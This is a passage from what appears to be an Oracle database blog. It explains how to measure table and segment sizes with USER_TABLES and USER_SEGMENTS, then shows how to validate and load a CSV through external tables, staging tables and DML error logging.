  NUM_ROWS AVG_ROW_LEN DATA_IN_BYTES
---------- ----------- -------------
      8192          75        614400

This time, the size in bytes figure we get back is not exact, as we can confirm with :

select 
    sum( length(id) + 
    nvl(length(character_name),0) +
    nvl(length(quote), 0)) as data_in_bytes
from hitchikers
/

DATA_IN_BYTES
-------------
       598957

To verify the actual size in bytes, we can dump the contents of a table into a csv file. In this case, I’m using SQLDeveloper :

The resulting file is a different size again :

ls -l hitchikers.csv
-rw-rw-r-- 1 mike mike 656331 May 13 11:50 hitchikers.csv

This can be accounted for by the characters added as part of the csv formatting.

First, the csv file includes a header row :

head -1 hitchikers.csv
"ID","CHARACTER_NAME","QUOTE"

Including the line terminator this is 30 bytes :

head -1 hitchikers.csv |wc -c
30

The format in each of the 8192 data rows includes :

• a comma after all but the last attribute on a row
• a line terminator after the last attribute
• double quotes enclosing each of the two VARCHAR attributes.

For example :

grep ^42, hitchikers.csv

42,"Trillian","we have normality... anything you can't cope with is, therefore, your own problem"

That’s a total of 7 extra bytes per data row.
Add all that up and it comes to 57374 bytes which are a consequence of csv formatting.

Subtract that from the file size and we get back to the calculated data size we started with :

656331 - 57374 = 598957

This confirms that the figures in USER_TABLES are approximate and you’ll need to bear this in mind if you’re relying on them to calculate the size of the data in a table.

Whilst were here, let’s see what effect compression might have on our ability to determine the raw data size.
We can do this by creating a table that has the same structure as HITCHIKERS and contains the same data, but which is compressed :

create table magrathea
(
    id number,
    character_name varchar2(250),
    quote varchar2(4000),
    constraint magrathea_pk primary key (id)
)
    row store compress advanced
/

insert into magrathea( id, character_name, quote)
    select id, character_name, quote
    from hitchikers
/

commit;

exec dbms_stats.gather_table_stats(user, 'MAGRATHEA');

It turns out that, for the purposes of our raw data calculation, the effect of table compression is…none at all :

select num_rows, avg_row_len,
    num_rows * avg_row_len
from user_tables
where table_name = 'MAGRATHEA'
/


  NUM_ROWS AVG_ROW_LEN NUM_ROWS*AVG_ROW_LEN
---------- ----------- --------------------
      8192          75               614400

However, if you look at the number of blocks used to store the table, the effects of compression are more evident :

select table_name, blocks
from user_tables
where table_name in ('HITCHIKERS', 'MAGRATHEA')
order by 2
/

TABLE_NAME                         BLOCKS
------------------------------ ----------
MAGRATHEA                              20 
HITCHIKERS                             95

Incidentally, it’s worth noting that, as with the data size, the number of blocks reported in USER_TABLES are somewhat approximate.
USER_SEGMENTS reports the number of blocks for each table as :

select segment_name, blocks
from user_segments
where segment_name in ('HITCHIKERS', 'MAGRATHEA')
order by 2
/

SEGMENT_NAME                       BLOCKS
------------------------------ ----------
MAGRATHEA                              24
HITCHIKERS                            104

So it looks like compression will affect the amount of database space required to store an object but not the size of the actual data. This brings us nicely on to…

Let’s go back to MARVIN. Remember, this table contains 4K of raw data, but USER_SEGMENTS claims that it’s quite a bit larger :

select bytes
from user_segments
where segment_name = 'MARVIN'
and segment_type = 'TABLE'
/

     BYTES
----------
     65536

To understand how Oracle has come up with this figure, you need to consider that :

• the smallest unit of space that Oracle addresses is measured in blocks
• the size of these blocks is defined at tablespace level.
• any object that uses space is allocated that space in units of an extent – which is a number of contiguous blocks.

If we take a look at MARVIN, we can see that the table resides in the DATA tablespace and has been allocated a single extent of 8 blocks :

select tablespace_name, bytes, blocks, extents
from user_segments
where segment_name = 'MARVIN';

TABLESPACE_NAME                     BYTES     BLOCKS    EXTENTS
------------------------------ ---------- ---------- ----------
DATA                                65536          8          1

The block size is defined at the tablespace level and is held in USER_TABLESPACES in bytes :

select block_size
from user_tablespaces
where tablespace_name = 'DATA';

BLOCK_SIZE
----------
      8192

If we now multiply the number of blocks in the table by the size of those blocks, we get back to the size that USER_SEGMENTS is reporting :

select seg.blocks * tsp.block_size
from user_segments seg
inner join user_tablespaces tsp
    on seg.tablespace_name = tsp.tablespace_name
where seg.segment_name = 'MARVIN';

SEG.BLOCKS*TSP.BLOCK_SIZE
-------------------------
                    65536

MARVIN is a table with no ancillary segments, such as indexes.
To find the total space being used for the HITCHIKERS table, we’ll also need to consider the space being taken up by it’s index, HITCHIKERS_PK :

select seg.segment_name, seg.segment_type, seg.blocks, ts.block_size,
    seg.bytes
from user_segments seg
inner join user_tablespaces ts
    on ts.tablespace_name = seg.tablespace_name
where seg.segment_name in ('HITCHIKERS', 'HITCHIKERS_PK')
/

SEGMENT_NAME         SEGMENT_TYPE        BLOCKS BLOCK_SIZE      BYTES
-------------------- --------------- ---------- ---------- ----------
HITCHIKERS           TABLE                  104       8192     851968
HITCHIKERS_PK        INDEX                   24       8192     196608

…in other words…

select sum(seg.bytes)
from user_segments seg
where seg.segment_name in ('HITCHIKERS', 'HITCHIKERS_PK')
/

SUM(SEG.BYTES)
--------------
       1048576

On the subject of ancillary segments, what about LOBS ?

create table the_guide(
    id number generated always as identity,
    message clob);
    
declare
    v_msg clob;
begin
    for i in 1..1000 loop
        v_msg := v_msg||q'[Don't Panic!]';
    end loop;
    insert into the_guide(message) values( v_msg);
end;
/

commit;

Unlike other segment types, LOBSEGMENT and LOBINDEX segments do not have their parent tables listed as the SEGMENT_NAME in USER_SEGMENTS.

Therefore, we need to look in USER_LOBS to identify it’s parent table for a LOBSEGMENT and USER_INDEXES for a LOBINDEX :

select segment_name, segment_type, bytes, blocks
from user_segments 
where(
    segment_name = 'THE_GUIDE'
    or
    segment_name in ( 
        select segment_name 
        from user_lobs 
        where table_name = 'THE_GUIDE'
        )
    or 
    segment_name in ( 
        select index_name 
        from user_indexes 
        where table_name = 'THE_GUIDE'
        )
    )
/   

SEGMENT_NAME                   SEGMENT_TYPE         BYTES     BLOCKS
------------------------------ --------------- ---------- ----------
THE_GUIDE                      TABLE                65536          8
SYS_IL0000145509C00002$$       LOBINDEX             65536          8
SYS_LOB0000145509C00002$$      LOBSEGMENT         1245184        152

In this instance, although the table segment itself is only taking up 65536 bytes, when you add in all of the supporting objects, the total space requirement increases to 1376256 bytes.

If you’ve managed to make this far then meet me at the Big Bang Burger Bar for a Pan Galactic Garble Blaster. I need a drink after that.

Since the days when dinosaurs roamed the Earth – and I realised that programming was indoor work with little physical effort – the CSV file has been an ETL workhouse in the world of Data Warehousing.
In the case of Oracle, working with CSVs is somewhat simplified by the use of External Tables.

That’s not to say there aren’t challenges, especially when things don’t quite go as expected and you have to wade through various operating system files looking for exactly why some or all of the records in a file have not been loaded.
As enthusiastic as I am about the joys of the linux command-line, the prospect of grappling with sed, awk and regexp to diagnose data issues does not appeal.
I’d much rather use SQL. After all, that’s what it’s designed for.

Fortunately, for me, external tables make it relatively simple to upload the contents of a text file directly into a database table, from where SQL can be used to :

• validate the structure and contents of the file
• transform the data into it’s target data types
• identify any problems with the data we’ve received

As you may have guessed from the title (and the age of the author), the data we’re using has a bit of a Beastie Boys theme.
We have a file containing details of Beastie Boys singles that have charted in the UK :

row_type,track_name,peak_chart_position,album,release_date
"","She's On It",10,,19860912,
"","(You Gotta) Fight for Your Right (To Party!)",11,"Licensed to Ill",,
"","No Sleep till Brooklyn",14,"Licensed to Ill",19870301,
"","Girls",34,"Licensed to Ill",19870506,
"","Hey Ladies",76,"Paul's Boutique",19890725,
"","Pass the Mic",47,"Check Your Head",19920407,
"","Jimmy James",55,"Check Your Head",19920828,
"","Sabotage",19,"Ill Communication",19940128,
"","Sure Shot",27,"Ill Communication",19940602,
"","Intergalactic",5,"Hello Nasty",19980602,
"","Remote Control/Three MC's and One DJ",21,"Hello Nasty",19990123
"","Alive",28,,,
"","Ch-Check It Out",8,"To the 5 Boroughs",20040503,
"","Triple Trouble",37,"To the 5 Boroughs",,
"","An Open Letter to NYC",38,"To the 5 Boroughs",,
"TRAILER",15

I want to load this data into my application tables on an Oracle 19c database.

One thing that often gets overlooked when considering a CSV file is that, whatever datatype the fields started out as (or indeed, are intended to end up as), in the file they are all merely text strings.
This can make the design of the external table we’re using to read this file quite simple in terms of datatypes…

create table beastie_xt (
    row_type varchar2(4000),
    track_name varchar2(4000),
    peak_chart_position varchar2(4000),
    album varchar2(4000),
    release_date varchar2(4000)
    )
    organization external (
        type oracle_loader
        default directory dbshare
        access parameters (
            fields csv without embedded
            missing field values are null
            reject rows with all null fields
        )
        location('beastie.csv')
    )
    reject limit unlimited
/

Note that using the csv keyword in the access parameters clause, causes the external table to assume that the delimiter character is a “,” and that fields may be enclosed by double-quotes (“)

If we test the table now, we can see that all of the rows in the file are loaded, including the header and trailer records :

Now, we could do all of our data interrogation and manipulation using the external table. However, each time the table is queried, the file is read in it’s entirety and the fact recorded in the external table’s associated logfile.
As well as being a bit slow for large files, this does cause the logfile to grow rather rapidly.
As an alternative to this then, I’m going to use the external table only to read the file as it’s contents is loaded into a permanent database segment :

create table beastie_stg(
    file_name varchar2(500),
    file_row_number number,
    row_type varchar2(4000),
    track_name varchar2(4000),
    peak_chart_position varchar2(4000),
    album varchar2(4000),
    release_date varchar2(4000))
/

insert into beastie_stg
    select 
        'beastie.csv' as file_name,
        rownum as file_row_number,
        row_type,
        track_name,
        peak_chart_position,
        album,
        release_date
    from beastie_xt
/
commit;    

Now we have our data in a permanent segment, we can validate and load it into the application proper.
Remember, because both our External Table and Staging table definitions are quite permissive, we can load the entire file, including it’s header and trailer records.

To start with, let’s check that the file contains the all of the fields we expect, in the order in which we expect them :

-- Expected ordered field list
select listagg( lower(column_name), ',') within group( order by column_id)
from user_tab_columns
where table_name = 'BEASTIE_XT'
minus
-- Actual ordered field list
select 
    row_type
    ||','||track_name
    ||','||peak_chart_position
    ||','||album
    ||','||release_date
from beastie_stg
where row_type = 'row_type';

If this query returns any rows then there is a mismatch between the header record and what we’re expecting so we’ll want to investigate.
In this instance though, we’re OK.

Next we need to make sure that we’ve received all of the data records. We can see that the trailer record is saying we should have 15 data records in the file. Note that, because we’re still treating everything as a string, the count in the trailer record is actually in the TRACK_NAME column of our staging table :

select track_name as data_record_count
from beastie_stg
where row_type = 'TRAILER'
and file_name = 'beastie.csv';

DATA_RECORD_COUNT                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              
------------------
15

We can verify this by simply counting the records that we’ve staged, excluding the header and trailer…

select count(*)
from beastie_stg
where row_type is null
and file_name = 'beastie.csv'
/

  COUNT(*)
----------
        15

Finally, we can load our data records into our core table, converting them to their target datatypes in the process.
The core table looks like this :

create table beastie_core (
    file_name varchar2(500),
    file_row_number number,
    track_name varchar2(500),
    peak_chart_position number,
    album varchar2(500),
    release_date date)
/    

If we want to load all of the valid records whilst handling any that we cannot transform correctly, there are several options available. In this case we’re going to use an error logging table.

To create the error logging table itself…

exec dbms_errlog.create_error_log('beastie_core');

Now we can populate the core application table using the LOG ERRORS clause to direct any failing records to the error table :

insert into beastie_core
    select
        file_name,
        file_row_number,
        track_name,
        to_number(peak_chart_position) as peak_chart_position,
        album,
        to_date(release_date, 'YYYYMMDD')
    from beastie_stg
    where row_type is null -- just load the data records
    log errors('beastie.csv')
    reject limit unlimited
/

commit;

Once the core load is completed, we can check that we’ve loaded all of the records…

select count(*)
from beastie_core
where file_name = 'beastie.csv';

  COUNT(*)
----------
        15

…and confirm that there are no errors…

select count(*)
from err$_beastie_core
where ora_err_tag$ = 'beastie.csv';

  COUNT(*)
----------
         0

Our file has been successfully validated and loaded, all without the need for any fiendishly clever regular expressions.